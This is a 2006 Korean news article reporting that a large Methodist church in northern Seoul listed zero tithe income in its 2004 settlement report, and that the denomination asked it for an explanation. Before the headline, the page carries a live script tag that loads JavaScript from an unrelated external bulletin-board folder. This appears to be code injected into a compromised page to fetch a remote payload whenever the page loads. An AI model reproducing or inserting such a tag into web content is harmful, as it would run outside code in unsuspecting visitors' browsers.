<SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/esuyoil.js></script> 수만명 모이는 교회에 십일조 수입이 0원? 
CBS, '강북의 대형 G교회 의혹' 보도…감리교 교단본부, 재차 소명제출 요구 
 
 
김용민
 

 
 
십일조는 교회 수입의 절대 분포를 차지한다. 그러나 수 만명이 출석하는 서울 강북 지역의 대표적인 감리교회인 G교회의 십일조 수입이 0원이라면?

CBS는 이 교회의 결산자료를 근거로 정직성에 대한 논란이 일고 있다고 보도했다.

이 방송 보도에 따르면, G교회는 지난해 교단본부에 2004년 결산서를 제출하면서 십일조 항목에 결산액수를 기입하지 않았다고 전했다.

보고서대로라면 교인수가 수만명에 달하는 G교회의 십일조 헌금액이 0원이라는 것.

감리교본부에서는 이에 따라 G교회에 소명자료 제출을 요구했고, 이 교회는 뚜렷한 해명을 하지 못한 채 재차 소명자료를 요청해놓은 상황인 것으로 알려졌다.

결국 G교회가 의도적으로 십일조 헌금 결산을 누락했을 가능성이 있다는 점에서, 이 문제가 더 큰 논란이 될 가능성도 배제할 수 없을 것으로 보인다.
 
 
 
2006년 02월 14일